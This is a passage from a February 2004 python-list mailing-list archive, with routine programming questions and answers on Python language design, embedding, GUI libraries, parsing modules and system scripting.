	<m2ad42342e.fsf@david-steuber.com>
Message-ID: <7xad421ovg.fsf@ruckus.brouhaha.com>

David Steuber <david.steuber at verizon.net> writes:
> > 1) It would be single threaded web server (asyncore, twistedmatrix)
> > with a select loop talking to a socket, either on port 80 directly, or
> > to a proxy web server running mod_gzip, SSL, and so forth.
> 
> Is this how you would handle concurrency?

Yes, it's a BBS, not a data mining system.  There should be few if any
long-running transactions.  Maybe some occasional complicated requests
would get spun off to a new thread or even just forked off.  The
server would run normal requests to completion before going on to the
next request.

> Also, how bad is using files really?  A decent Unix will use memory
> to cache files, abstracting disk io behind the scenes for you.

Maybe.  Using mmap does avoid a lot of system calls/context switches.


From steve at ninereeds.fsnet.co.uk  Wed Feb 25 21:40:57 2004
From: steve at ninereeds.fsnet.co.uk (Stephen Horne)
Date: Thu, 26 Feb 2004 02:40:57 +0000
Subject: How does Ruby compare to Python?? How good is DESIGN of
	Rubycompared to Python?
References: <bf23f78f.0402241443.678bf6c8@posting.google.com>
	<c1h1sb$1it26i$1@ID-169208.news.uni-berlin.de>
	<slrnc3ob0q.i6n.joe@gate.notcharles.ca>
	<mailman.100.1077717447.8594.python-list@python.org>
	<slrnc3q0j8.jm5.joe@gate.notcharles.ca>
Message-ID: <t5fq30l29nidjh1tsksm8jlld03ff3av5o@4ax.com>

On Wed, 25 Feb 2004 20:42:38 GMT, Joe Mason <joe at notcharles.ca> wrote:

>In article <mailman.100.1077717447.8594.python-list at python.org>, Dave Brueck wrote:

>> someFunc(functionCallback)
>> f = Foo()
>> someFunc(f.methodCallback)
>> 
>> This is pretty darn useful and IMO quite Pythonic: the creator of the function
>> and the creator of the callback have to agree on only the most minimal set of
>> details - just those relating to the calling interface - leaving completely
>> open any implementation details.
>
>I still don't see how this is notable.  Seems perfectly straightforward to
>me - I'd just assume that's how it worked except in C++, about which I
>never assume anything.

I don't know how widespread it is among very high level languages, but
there is a reason (in the not-that-high-level sense) that C++, and
other 3GLs with classes hacked on don't. I'm assuming object Pascals
and Basics (esp Delphi and VB) count here, though don't sue me if I'm
wrong - I'm not familiar with object support in either.

A bound method needs more information that the address of the function
that implements it. It also needs the address of the object that it
applies to, stored along with the function address. So a bound method
may look like a function when it is called, but in low level
implementation detail, it is not the same thing. In the Python
internals, I imagine there is a bound method type which contains
pointers to both the object and the unbound method.

The thing is that a bound method amounts to a restricted version of
currying - in effect, you have curried the 'self' parameter.

With currying, you can define a more sepecialised function using a
more general one by specifying some subset of the parameters. A simple
Python-like syntax may be...

  def original_fn (a, b, c) :
    pass

  specialist_fn = original_fn (, 2, )

  specialist_fn (1, 3)

The currying in the assignment statement supplies parameter b, with
the remaining parameters a and c not being provided until the call.

To implement a curry'd function, you need a closure in addition to the
original function address - a record recording the values of the
parameters that have been supplied so far, and which parameters have
yet to be supplied. Just as you need the object bound-to as well as
the method to implement a bound function.

Imperative 3GLs kept functionality and data pretty thoroughly
separated - hence a lot of the OO fuss. Currying is standard in
functional languages. But currying predates object orientation by a
long time. In fact, I'm pretty sure it was invented about a century
ago as math (lambda calculus) rather than as programming, though I
could easily be confused.

Anyway, from this perspective, the bound method is an interesting
in-between concept. I've sometimes wondered if full currying support
may have been a better choice, but then a bound method is much more
efficient simply because it's simpler - not to mention avoiding some
syntactic difficulties I ignored above.


-- 
Steve Horne

steve at ninereeds dot fsnet dot co dot uk


From pcaffrey at iel.ie  Thu Feb 26 06:54:42 2004
From: pcaffrey at iel.ie (Paul)
Date: 26 Feb 2004 03:54:42 -0800
Subject: re-entrant call to PyEval_RestoreThread(context) hangs
Message-ID: <bfef2a62.0402260354.af900a9@posting.google.com>

following hangs when re-entered

run()
{
    PyEval_RestoreThread(context);
 
    pName = PyString_FromString(script);

    Py_DECREF(pName);

    context = PyEval_SaveThread();
}

This invokes a python script (using context[0])

The python script uses "swig" to call back into the run() method
The run() method now calls PyEval_RestoreThread(context[1])

but this hangs

ie to summarise

C++ run() context0
    -> .py
        -> C++ run()  context1 HANGS!

Can anyone suggest a solution for this?


From newsgroups at jhrothjr.com  Wed Feb 25 12:21:17 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Wed, 25 Feb 2004 12:21:17 -0500
Subject: No Thoughts about Everything
References: <mailman.106.1077724046.8594.python-list@python.org>
Message-ID: <103pmckh3g9tn8d@news.supernews.com>


"b-blochl" <bblochl2 at compuserve.de> wrote in message
news:mailman.106.1077724046.8594.python-list at python.org...
> I wonder about the huge traffic in the question how many  tuples are
> dispensible. I find that a question of only ternary or quarterny order -
> use it or use it not (free after Shakespears "to be or not to be). Well,
> I had my part on that.
>
> But introducing students to python as a first programming language lists
> and tuples are astoninglishy always constant points of confusion as well
> as the other points of the citatet list. I will not repeat it now, but
> the class-questions are more interesting for me and fundamental for the
> choice of python.

Tuples can be difficult if they're not explained properly, and
I don't find a lot of good material around that really brings
out the salient points.

For me at least, the basic thing about tuples is that they're a
quick way of bundling a bunch of objects together when you
don't want to go to the trouble of creating a special purpose
object to hold them.

I think that the use of implicit tuple creation on the return statement
and sequence unpacking make this point quite well.

I find that classifying them as sequences is essentially confusing,
and also stating that they're immutable is, while true, also confusing.



>
> Thanks in advance
> Bernhard
>
>
>
>




From maxwell at ldc.upenn.edu  Mon Feb 23 15:12:59 2004
From: maxwell at ldc.upenn.edu (Mike Maxwell)
Date: Mon, 23 Feb 2004 15:12:59 -0500
Subject: Gripe: Use Ctrl-D (i.e. EOF) to exit
Message-ID: <c1dms2$l8b$1@sea.gmane.org>

<vent> I see there has been traffic over the years on this gripe, so just
let me vent my frustration, and add another reason why 'exit' (or possibly
exit() or quit() or halt() or some such) should exit Python, rather than
giving the ridiculous msg

    Use Ctrl-D (i.e. EOF) to exit.

The additional reason is that God intended Ctrl-D to be "scroll down", as in
vi.  I have my keyboard translator set up to do something very much like
that (actually, I translate ^D into a sequence of "cursor downs"), and
hitting the Ctrl-D key therefore does not drop me out of Python.  More
generally, it is probably not uncommon for someone to translate ^D into
something else, using xmodmap or some such.  I need to kill the entire
X-terminal to stop Python.

Now, if you're using a gui Python, there's probably a menu command you can
use to drop out.  But if you're using the command-line version (e.g. the one
in CygWin) from a shell prompt, then you're out of luck.

Why isn't there a command or function to drop out of Python??!!  Obviously
Python is clever enough to know that you want to exit when you type 'exit';
why does it make you stand on your head to do so?

Aaargh!

</vent>

    Mike Maxwell






From stephene at sjsoft.com  Sun Feb 29 11:26:30 2004
From: stephene at sjsoft.com (stephene at sjsoft.com)
Date: Sun, 29 Feb 2004 11:26:30 -0500
Subject: what is the ordering of an AST tree?
Message-ID: <123160-220042029162630158@M2W054.mail2web.com>

>In my experience ( not  analysis ;)..yes--it's in the same order. Here's
>the deriver module I ended up with last week, and some unittests which
>demonstrate that, for simple expressions, at least, order is preserved.

Great. I'm really hoping that that holds true for all cases. For now I'll
just deal with the simple expressions.

What I am trying to do then is essentially locate the most recent
assignment that a variable has been given. The way I would assume to do
that would be to traverse up the tree (assuming it is in fact in the order
of the program flow) and search for the closest ASSIGN node that involves
the variable name specified.

The trick is now that I dont know how to traverse up an AST tree. And from
what I've seen its a bit nasty. Any ideas on how to traverse up an AST tree?

Thanks
Stephen Emslie

--------------------------------------------------------------------
mail2web - Check your email from the web at
http://mail2web.com/ .





From fumanchu at amor.org  Tue Feb 24 14:38:24 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Tue, 24 Feb 2004 11:38:24 -0800
Subject: Session object in ASP script
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561DA7@opus.amorhq.net>

Gandalf wrote:
> I'm using IIS with python. I'm trying to use this combination
> for the first time. I have a problem here.
> I cannot assign new items to the Session. For example:
> 
> Session.Contents.Item("foo") = 1            -> HTTP/1.1  500 Server
Error
> Session("foo") = 1                                  -> HTTP/1.1  500
Server Error
> Session.foo = 1                                      ->
AttributeError: foo

http://www.faqts.com/knowledge_base/view.phtml/aid/4937/fid/501

HTH,

FuManChu



From jacek.generowicz at cern.ch  Wed Feb 25 06:48:06 2004
From: jacek.generowicz at cern.ch (Jacek Generowicz)
Date: 25 Feb 2004 12:48:06 +0100
Subject: Some language proposals.
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be>
	<mailman.58.1077649530.8594.python-list@python.org>
	<tyfbrnno9e2.fsf@pcepsft001.cern.ch>
	<mailman.88.1077699734.8594.python-list@python.org>
Message-ID: <tyf1xojnzwp.fsf@pcepsft001.cern.ch>

Paul Prescod <paul at prescod.net> writes:

> I disagree. Closures are rare in Python because Python is primarily an
> OOP language.

I disagree, Python is a multi-paradigm language ... I fail to see how
this has any bearing on the use of closures ... all of which is
irrelevant to my original point, which was to note out that saying
"people don't use it much" is not a very convincing argument for not
fixing something that is broken ... because the very fact that it is
broken probably contributes to people not using it much.


From sross at connectmail.carleton.ca  Fri Feb 20 12:27:24 2004
From: sross at connectmail.carleton.ca (Sean Ross)
Date: Fri, 20 Feb 2004 12:27:24 -0500
Subject: Parsing library for Python?
References: <c15fip$1epsru$1@ID-212335.news.uni-berlin.de>
Message-ID: <MrrZb.15750$d34.1571478@news20.bellglobal.com>

"Viktor Rosenfeld" <rosenfel at informatik.hu-berlin.de> wrote in message
news:c15fip$1epsru$1 at ID-212335.news.uni-berlin.de...
[snip]
> Is there a good parsing module for python that I missed?

You could look into SPARK:

http://pages.cpsc.ucalgary.ca/~aycock/spark/





From deets_noospaam at web.de  Fri Feb 20 13:34:11 2004
From: deets_noospaam at web.de (Diez B. Roggisch)
Date: Fri, 20 Feb 2004 19:34:11 +0100
Subject: Parsing library for Python?
References: <c15fip$1epsru$1@ID-212335.news.uni-berlin.de>
	<MrrZb.15750$d34.1571478@news20.bellglobal.com>
Message-ID: <c15jv3$unt$04$1@news.t-online.com>

> 
> You could look into SPARK:
> 
> http://pages.cpsc.ucalgary.ca/~aycock/spark/

Yes, I'd recommend that, too - its an early-parser implementation, which is
very powerful and allows e.g. left-recursive rules. however, you can't feed
it a ebnf directly, instead you do things like this (*->* is ebnf, ::= is
spark) :

rule -> term?

becomes

rule ::=
rule ::= term

rule -> (term)*

becomes

rule ::= rule term
rule ::= 


-- 
Regards,

Diez B. Roggisch


From pmetzger at bellsouth.net  Tue Feb 17 09:34:48 2004
From: pmetzger at bellsouth.net (Paul Metzger)
Date: Tue, 17 Feb 2004 08:34:48 -0600
Subject: New SolarWolf, 1.5
In-Reply-To: <c0ro33$tat$1@sea.gmane.org>
Message-ID: <200402171435.i1HEZo25018469@apollo.megagate.com>

This game is just addictive:) 

> -----Original Message-----
> From: python-list-bounces+pmetzger=bellsouth.net at python.org 
> [mailto:python-list-bounces+pmetzger=bellsouth.net at python.org]
>  On Behalf Of Pete Shinners
> Sent: Monday, February 16, 2004 6:43 PM
> To: python-list at python.org
> Subject: New SolarWolf, 1.5
> 
> There is a new version of SolarWolf available. SolarWolf is a 
> frantic 2D arcade game of collecting and dodging. It is 
> written in Python and has become a very good game.
> 
> This new version enhances the menu screens, more music, and 
> adds user preferences. Check out the downloads and 
> screenshots from the main site. If you haven't looked at this 
> game in awhile now is the time to check it out. 
> It has become an entirely better game with recent releases.
> 
> http://www.pygame.org/shredwheat/solarwolf/
> 
> 
> --
> http://mail.python.org/mailman/listinfo/python-list
> 




From peter at engcorp.com  Thu Feb 19 10:31:44 2004
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 19 Feb 2004 10:31:44 -0500
Subject: truly global variables
References: <f046efac.0402190047.ee56994@posting.google.com>
Message-ID: <4034D6E0.457BF2D6@engcorp.com>

ketulp_baroda at yahoo.com wrote:
> 
> Global variables are not truly global in Python ; they are only global
> within a module namespace. I want a variable such that if i change its
> value in any module then it should be reflected in other modules too.
> What I mean is I wanta varibale say i whose initial value is 1.
> If I change value of i in foo.py to say 5 and now I print value of i
> in bar.py ,it should print 5.How to do this??

Provided you're willing to have a dot in the name of the variable,
this is actually quite possible, as Ben shows even though he markets
his approach poorly by saying what you want is not possible. :-)

If you can explain why you wouldn't want to just use a module to
contain your globals, we'll be able to suggest alternatives (and
there are some alternatives, they're just not usually as clean or
simple).

-Peter


From nid_oizo at yahoo.com_remove_the_  Fri Feb 20 14:40:06 2004
From: nid_oizo at yahoo.com_remove_the_ (Nicolas Fleury)
Date: Fri, 20 Feb 2004 14:40:06 -0500
Subject: pass string to a os prompt
In-Reply-To: <c15kee$t1p$1@solaris.cc.vt.edu>
References: <c15kee$t1p$1@solaris.cc.vt.edu>
Message-ID: <lotZb.5039$Ks6.83919@nnrp1.uunet.ca>

Bart Nessux wrote:
> I'm writing a script that does some basic pre-configuration for our new 
> Macs (OSX 10.3.2). I'm trying to enable the root account automatically 
> with the script, but I don't know how to pass stings to the shell when 
> it stops and awaits input. For example,
> 
> os.popen('/usr/bin/sudo passwd root')
> 
> Cause the OS to respond with:
> 
> Password:
> 
> How do I pass my current user's password to the prompt? I know that I 
> need to store the password in a string in the script, but I don't know 
> how to feed it to the waiting shell.

Look at popen functions.  Take one that you can redirect stdin and use 
it to enter the input.  You can redirect stdout and check it to wait for 
"Password:".

Regards,

Nicolas


From dw-google.com at botanicus.net  Fri Feb 13 19:34:34 2004
From: dw-google.com at botanicus.net (David M. Wilson)
Date: Sat, 14 Feb 2004 00:34:34 +0000
Subject: Reading from file up to arbitrary byte.
In-Reply-To: <402D4F4C.BCCD07F8@engcorp.com>
References: <402d4d14$0$10336$ed9e5944@reading.news.pipex.net>
	<402D4F4C.BCCD07F8@engcorp.com>
Message-ID: <402d6d21$0$10343$ed9e5944@reading.news.pipex.net>

Peter Hansen wrote:

> I'd say the simple way to do it would be to read in chunks and hold a 
> remainder over.  It's not complicated: why don't you like that way?

> Or even simpler: just use read()[:chunksize] and not worry about the
> fact that you're reading all the data and throwing some away.
> Performance-wise, this probably beats the pants off most alternatives,
> if performance is what concerns you, and unless your file is really 
> big and chunksize is small, who cares about the memory that is wasted
> for a few microseconds?

> It might also help respondents if you describe the reason for wanting
> to read the first part of the file like that.  Maybe there's a more
> suitable approach.

Hi Peter, thanks for your reply.

I wanted to avoid keeping a remainder as I would have thought the 
underlying implementation would have to do this anyway when doing 
readline(). The tool I am working on reads the UK Postal Address File 
(1.5gb of data), to be deployed on a small 800mhz VIA C3 server.

I have created a minimalist module for reading in the tabular data, in a 
way that is as close to 'wire speed' as possible. Previously I have used 
the Python 2.3 CSV module, and a C implementation of a CSV reader I 
found on the web, however the data set I am dealing with has a very 
basic structure, and I found the two CSV modules overly complicated for 
the task.

I failed to produce something that is clean, but it does exactly what it 
says on the tin and that's all I need. If you care for a nosey:

	http://botanicus.net/dw/IDTDR.py.txt


David.



From richie at entrian.com  Wed Feb 11 10:45:24 2004
From: richie at entrian.com (Richie Hindle)
Date: Wed, 11 Feb 2004 15:45:24 +0000
Subject: How to avoid "f.close" (no parens) bug?
In-Reply-To: <A128D751272CD411BC9200508BC2194D033835E1@escpl.tcp.com.ar>
References: <A128D751272CD411BC9200508BC2194D033835E1@escpl.tcp.com.ar>
Message-ID: <6bjk201pnc4ifjvb2i1a29vpas139d08h8@4ax.com>


[Facundo]
> There is any case when f.close [...] has any effect?

class Test:
    def __getattr__(self, name):
        print "Nobody expects the %s!" % name

t = Test()
t.spanish_inquisition

-- 
Richie Hindle
richie at entrian.com




From martin at v.loewis.de  Sat Feb  7 03:17:56 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 07 Feb 2004 09:17:56 +0100
Subject: Difference between str and string
In-Reply-To: <3cc4824d.0402060639.c8c4ad0@posting.google.com>
References: <3cc4824d.0402060639.c8c4ad0@posting.google.com>
Message-ID: <c026vc$hdv$04$2@news.t-online.com>

Hugh Macdonald wrote:

> Anyway, any idea what I'm doing wrong or what python's doing wrong?

It looks you have a string with embedded null bytes, which is not
supported where you want to use it. Do

print repr(path)

to find out what precisely the value of path is (doing a plain print
would send the null bytes to the terminal, which might ignore them)

HTH,
Martin



From pclinch at internet-glue.co.uk  Thu Feb 12 10:14:24 2004
From: pclinch at internet-glue.co.uk (Paul Clinch)
Date: 12 Feb 2004 07:14:24 -0800
Subject: Import no longer works in Python 2.3.x
References: <w6wWb.1$MQ1.0@news-binary.blueyonder.co.uk>
Message-ID: <8cf2994e.0402120714.1b0e6ff0@posting.google.com>

Interesting, I note that there has been some code revision around the
import. See the whats new in python 2.3, Importing Modules from Zip
Archives and New Import Hooks.

If a full pathname is used, eg.
/home/paul/projects/test/customModules
the code works as before. This would definitely be safer since the
current directory may change in the future, causing the import to fail
anyway.

Regards, Paul Clinch


From PPNTWIMBXFFC at spammotel.com  Wed Feb 25 05:18:54 2004
From: PPNTWIMBXFFC at spammotel.com (Marco Aschwanden)
Date: 25 Feb 2004 02:18:54 -0800
Subject: Thoughts about Python
References: <15c2d03b.0402240311.395f5382@posting.google.com>
	<d8778a53.0402241124.20046541@posting.google.com>
Message-ID: <15c2d03b.0402250218.3522987b@posting.google.com>

> I agree with you in all but that tuples are not
> necessary. Lists are the ones that are actually a
> hack for speed! :-)

Did you do some time profiling? I would be interested in the results.


> 3_ I prefer reading from left to right instead from right
> to left (it makes the parenthesis less confusing too).
> Compare to:
> 
> count=len(reversed(sorted(appended(lst,3)))).
> 
> Maybe I should learn Hebrew :-)
> Or we could always change it to
> 
> $ lst|append -3|sort|reverse|len
> 
> (in the end all are just filter patterns :))

This is an excellent example!
count = lst.append(3).sort().reverse().len()
is extremly readable but chaining of method calls is not supported in
Python. And I can live with it... Python has a more "expressive" path:

>>> lst = []
>>> lst.append(3)
>>> lst.sort()
>>> lst.reverse()
>>> count = len(lst)

The last line looks a bit odd after all the dot-notations to see a
function-call in the last line.


> 4_ If the python interpreter was smart enough sort()
> [...]
> Inmutable types are usually less "magical" than their
> mutable counterpart.
> 
> For instance:
> 
> >>> lst1=[1,2]
> >>> lst2=lst1
> >>> lst2.append(3)
> >>> lst1
>  [1, 2, 3]
> >>> lst2
>  [1, 2, 3]
> >>> tup1=(1,2)
> >>> tup2=tup1
> >>> tup2=tup2+(3,)
> >>> tup1
>  (1, 2)
> >>> tup2
>  (1, 2, 3)
> >>> 
>
> Do you think a newbie would expect that a modification
> on one variable would have a effect on another?

Good point.

Thanx,
Marco


From paul at fxtech.com  Fri Feb 27 11:33:59 2004
From: paul at fxtech.com (Paul Miller)
Date: Fri, 27 Feb 2004 10:33:59 -0600
Subject: When things go badly in PyGC_Collect()
In-Reply-To: <403f4f86_1@127.0.0.1>
References: <403e2bfd.9144015@news.t-online.de>
 <403f4f86_1@127.0.0.1>
Message-ID: <6.0.1.1.2.20040227102910.02e02ec0@mail.fxtech.com>

I'm running into a situation where the first call to PyCG_Collect during a 
Py_Finalize, is dying a horrible death and throwing an exception. It is 
after *MANY* iterations of the GC loop, so I haven't pinpointed where 
exactly it is happening.

Some notes - this is with Python 2.3 BTW, on Windows.

1. this happens in some code where I'm initializing Python, doing some 
script/module stuff, finalizing Python, and then doing the process again
2. it happens on the SECOND time, during the Py_Finalize
3. it only seems to happen if I've used the zip importer
4. it DOES NOT happen in a trivial test program I wrote that doesn't have 
all the massive script baggage in my real program

My real program has all sorts of custom C types, dictionary mangles, etc. 
I'm looking for clues as to what kinds of programming problems with my 
custom types could cause PyGC_Collect to go nuts. I've tried to be very 
careful about my reference counts.






From bblochl at fh-lausitz.de  Wed Feb 25 12:13:18 2004
From: bblochl at fh-lausitz.de (bblochl)
Date: Wed, 25 Feb 2004 18:13:18 +0100
Subject: No Thoughts about Everything
Message-ID: <403CD7AE.8060001@fh-lausitz.de>

Thanks for any helping suggestions so far. 


>If you want something to stay constant,
>just don't change it.
To my regret in programming in large, sometimes distributet groups and over longer time on a huge Project it is not *my choice* to make the decision not to change a variable. It is a fact that very often the same names for variables and so on are used from different persons in an project, so side effects are only prevented by encapsulation and or make variables constant. (Usually people use uninspired the ever repeating x,y, z or a,b,c and so on.) 


>class Foo:
>  BAR = 10

I tried that in the following in the following prog:


from math import *

class Mytest:
    LOGE_10=2.302585092994046
    #"Klassenkonstante" (static final?)
    #def __init__(self):
        
    def log10(self,x):
        return(log(x)/Mytest.LOGE_10)

testmath=Mytest()
print "LOGE_10=%10.8f"%Mytest.LOGE_10," and log10=%f10.8"%testmath.log10(3)
Mytest.LOGE_10=1
print "LOGE_10=%10.8f"%Mytest.LOGE_10," and log10=%f10.8"%testmath.log10(3)

#output:
#LOGE_10=2.30258509  and log10=0.47712110.8
#LOGE_10=1.00000000  and log10=1.09861210.8

One can see that one can change the constant LOGE_10 without any 
problem! So it is weather in Theory nor in practice a constant? That is 
not the needed functionality. Or did I not understand your proposes 
concept and did something wrong in the code ?

Thanks again
Bernhard

PS I will next try to apply recipe 5.15 "Defining Constants" (Alex 
Martelli) to LOGE_10 in the class Mytest(). But not today.




From dave at pythonapocrypha.com  Wed Feb 25 12:46:03 2004
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Wed, 25 Feb 2004 10:46:03 -0700
Subject: No Thoughts about Everything
References: <403CD7AE.8060001@fh-lausitz.de>
Message-ID: <023801c3fbc7$3d69bf70$6401fea9@YODA>

Bernhard wrote:
> >If you want something to stay constant,
> >just don't change it.
>
> To my regret in programming in large, sometimes distributet groups and over
longer time on a huge Project it is
> not *my choice* to make the decision not to change a variable. It is a fact
that very often the same names for
> variables and so on are used from different persons in an project, so side
effects are only prevented by encapsulation
> and or make variables constant. (Usually people use uninspired the ever
repeating x,y, z or a,b,c and so on.)

This is not a problem to be solved by a programming langauge IMO. If an
organization cannot set and follow simple coding standards, then it has much
larger problems to worry about. Seriously.

As for the given example, the point (sorry for not explicitly stating it) was
that to get a "constant" value, simply have a coding standard that says that
VARIABLES_LIKE_THIS are constants. It's as simple as that really (and it
enables you to have pseudo-constants as well, as in variables whose values are
constant during runtime, but whose values don't have to be specified _until_
runtime - like configuration options).

> >class Foo:
> >  BAR = 10
>
> I tried that in the following in the following prog:
[snip]

Right, you violated the coding standard. :) That's why I said that in _theory_
it's not constant, but _in practice_ it is. The code you posted (wherein you
change the constant's value) doesn't happen in practice. (seriously - we've
followed this coding practice literally for years without *any* incident - even
newbies pick up on it without being told explicitly not to do it).

Nobody is accidentally going to override a constant value. I have not seen any
cases in real applications where I need the language or its compiler to enforce
constantness. It might be useful for purposes of optimizations, but that's a
different topic altogether.

Ask yourself: what do you actually gain from having the compiler enforce
constantness? And is it protection from an actual problem or is it protection
from a symptom of a larger problem?

-Dave




From mlh at furu.idi.ntnu.no  Sun Feb 15 17:08:59 2004
From: mlh at furu.idi.ntnu.no (Magnus Lie Hetland)
Date: Sun, 15 Feb 2004 22:08:59 +0000 (UTC)
Subject: [ANN] Atox 0.2 released
References: <slrnc2qk2c.9li.mlh@furu.idi.ntnu.no>
	<2c60f0e0.0402141444.3d0b785f@posting.google.com>
	<yfidnROF5MbLJLPdRVn-ug@giganews.com>
	<2c60f0e0.0402150306.78e188ee@posting.google.com>
Message-ID: <slrnc2vrfr.41h.mlh@furu.idi.ntnu.no>

In article <2c60f0e0.0402150306.78e188ee at posting.google.com>, Richard
James wrote:
[snip]
>I showed the "Practical Python" book to my boss. He liked the look of
>it. Can I get a refund? At least rename it "Mythical Python".

Why? The stuff about Anygui in Practical Python works, and Anygui is
available for download. And even if you ignore the stuff about Anygui,
there's about 600 pages of practical Python material in there. Or did
you have a problem with that too?

>And there has been NO notice on the website that the ANYGUI project
>has been abandoned, just a "stay tuned" notice. The developers list
>seems to have been abandoned by it's developers in August 2003.

There has been no official abandonement. I haven't had lots of time to
work on it while finishing my Ph.D (I guess you think I should have
prioritized Anygui?) and the other developers have similarly busy with
other things.

[snip]
>"a respected Python GUI unification project"???
>
>Was all this just smoke and mirrors to sell a $50 book?

No.

Anygui was in no way a reason for writing the book, or vice versa.
Anygui was/is a hobby project of mine. I had/have faith in the idea,
so I included it in the book because I thought of it as a nice
introduction to GUI programming.

>Is XML just the next hot book topic?

No.

[snip]
>The only consequence was that we were stuck with the SOW (Same Old
>Way) method for a few more months. Until we found the FREE and well
>documented Gui4Cli. We can now make simple gui changes in the Gui4Cli
>script language in under half an hour.

Sounds great.

[snip]

-- 
Magnus Lie Hetland           "The mind is not a vessel to be filled,
http://hetland.org            but a fire to be lighted."  [Plutarch]


From dave at pythonapocrypha.com  Wed Feb 25 11:47:21 2004
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Wed, 25 Feb 2004 09:47:21 -0700
Subject: test for raw string
References: <m2k72b16lc.fsf@mother.paradise.lost>
Message-ID: <019901c3fbbf$0a0e9900$6401fea9@YODA>

John wrote:
> I have a function that takes a string as an argument.  Is there a way
> to test whether the caller of this function passed in a raw string
>
> def func(s):
>     if israw(s): do_x()
>     else: do_y()
>
> func(r'\hi mom')  # do_x
> func('hi mom')    # do_y

>From your program's point of view, I don't think there _is_ such a thing as a
raw string. Consider:

>>> r'dave' is 'dave'
True
>>> r'dav\e' is 'dav\\e'
True

It's merely a convenience thing for us humans. Why would your program care
though (what are you trying to do)?

-Dave




From axel.diener at orsoft.de  Wed Feb 11 02:14:13 2004
From: axel.diener at orsoft.de (Axel Diener)
Date: 10 Feb 2004 23:14:13 -0800
Subject: problem with embedding python 2.3 and importing win32 extensions
Message-ID: <f6c78d6d.0402102314.61d54853@posting.google.com>

I embed python interpreters in a C++ program.
For each script to execute I create a new interpreter.
In this environment I can use the win32 extensions only one time. 
Here is a little piece of code to illustrate the problem:

int
main(int argc, char **argv)
{
  Py_Initialize();
  Py_SetProgramName(argv[0]);

  PyThreadState *save_tstate=PyThreadState_Swap(NULL);
  PyThreadState *state=Py_NewInterpreter();

  int rc=PyRun_SimpleString("import pywintypes;import pythoncom");
//this works well
  printf("%d\n",rc);

  Py_EndInterpreter(state);

  PyThreadState_Swap(save_tstate);

  state=Py_NewInterpreter();

  rc=PyRun_SimpleString("import pywintypes;import pythoncom");
//this and all further atemps will fail
  printf("%d\n",rc);
  
  Py_EndInterpreter(state);
  PyThreadState_Swap(save_tstate);
   
  Py_Finalize();
}

Here is the output auf this little program:

0
Traceback (most recent call last):
  File "<string>", line 1, in ?
  File "C:\uti\Python23\Lib\site-packages\pythoncom.py", line 3, in ?
    pywintypes.__import_pywin32_system_module__("pythoncom", globals())
  File "C:\uti\Python23\Lib\site-packages\win32\lib\pywintypes.py", line
9, in _
_import_pywin32_system_module__
    import imp, sys, os
TypeError: 'NoneType' object is not callable
-1

I use

Python 2.3.3 (#51, Dec 18 2003, 20:22:39) [MSC v.1200 32 bit (Intel)] on win32

with

pywin32-200.win32-py2.3.exe
(same result for win32all-163)

The problem doesn't occur with Python 2.2 and win32all-157 due to different
import wrappers.

Is there any way to overcome this problem?

Thanks  
         Axel Diener


From paddy3118 at netscape.net  Tue Feb 24 16:24:28 2004
From: paddy3118 at netscape.net (Paddy McCarthy)
Date: 24 Feb 2004 13:24:28 -0800
Subject: Comments requested: brief summary of Python
References: <ce782195.0402232218.6e64177c@posting.google.com>
Message-ID: <2ae25c6b.0402241324.38c87c08@posting.google.com>

adamba at gte.net (Adam Barr) wrote in message news:<ce782195.0402232218.6e64177c at posting.google.com>...
> For a book I am working on, I have written a brief (9 page) summary
> of Python. The intent of this is that an experienced programmer who
> did
> not know Python would be able to get enough information to read and
> understand Python programs. It is not meant to be a 100% complete
> summary of the language, but everything in there should be correct.
> 
<<SNIP>>
> The file is at
> 
> http://www.proudlyserving.com/language/python.pdf
> 
> I have written similar summaries for other languages and will
> hopefully post them (with a virtually identical message) in the
> appropriate newsgroups in the next few days.
> 
> Thank you.
> 
> - Adam Barr
> adamba at gte.net

Hi Adam.
First off, Congratulations, I read the Perl and Python PDFs and saw
nothing that I thought you had purposefully written to start a
language war.

I'll confine my comments to the Python PDF  (so I don't re-kindle any
wars :-).


I made a few notes whilst reading through your file that I will add at
the end but I can't help but think that your description of Python is
for using it in an un-Pythonic manner (as others have stated). Whilst
you may explain enough Python for someone to follow any examples you
have in your book, I fear that the algorithms and language structures
that you may use would not be those favoured by Python programmers.
I'll touch on some of these areas later.

The notes are on points roughly in the order given in your document.

1) You mention variable for i and then state that variables cantchange
their type once set. In Python we like to call the 'i' in your example
a name and say it points to an object and that the *object* has a type
and the type of that, individual object will not change. The name can
be made to point to another object that could have a different type
but the type of the first object is not changed.

2) When you introduced slices, slices can have a step as well as a
start and stop.

3) When introducing lists and tuples you want to also explain
im/mutability, i.e. a list type object is said to be mutable
(changeable in some ways), because the individual elements of a list
may be changed on the same list object. A tuple objects elements
cannot be changed (although you may generate a new tuple object based
on an the elements of the first tuple).

3b) You could add that lists and tuples are *ordered* sets of
elements.

4) When you introduce len you might want to add that it returns the
'length' of most collection type objects e.g lists,tuples, and
dictionarys

5) If you define im/mutability you can then say that dictinary keys
can be any immutable object such as integers, strings, tuples but not
lists

6) You didn't mention document strings!  When you download Python for
a lot of environments it will come with editors and debuggers that can
use document strings to aid in your coding. The pydoc utility can be
used, with document strings to document (HTML txt) and present
(inbuilt web server and search capability), the documentation for your
program.

7) In your mention of modules you should note that there is an
extensive, well documented, high quality library of modules that comes
as part of the Python installation ready to be included. (Whoops I
started selling Python there :-)


Hey, all that, and not one unkind word about Perl. I'll have to pinch
myself :-)

Paddy.


From urgur at home.ro  Mon Feb 16 10:16:05 2004
From: urgur at home.ro (Radu Stanciu)
Date: 16 Feb 2004 07:16:05 -0800
Subject: How to use Python + PygreSQL on a WinXP system
Message-ID: <3c7787f3.0402160716.44bb2157@posting.google.com>

Hi,

I want to use the PygreSQL modules on a Windows machine (more exactly
a WinXP one). I've downloaded the latest version (3.4 so far) and I am
required to build the pgmodule C library. Is there a way to avoid
this? I need to install this on many user systems and it would be very
hard to do.

Is there a compiled package available for this? Or an easier way to
install this package?

Thanks in advance,

Radu Stanciu


From max at NcOviSsPiAoMntech.com  Fri Feb 13 11:01:58 2004
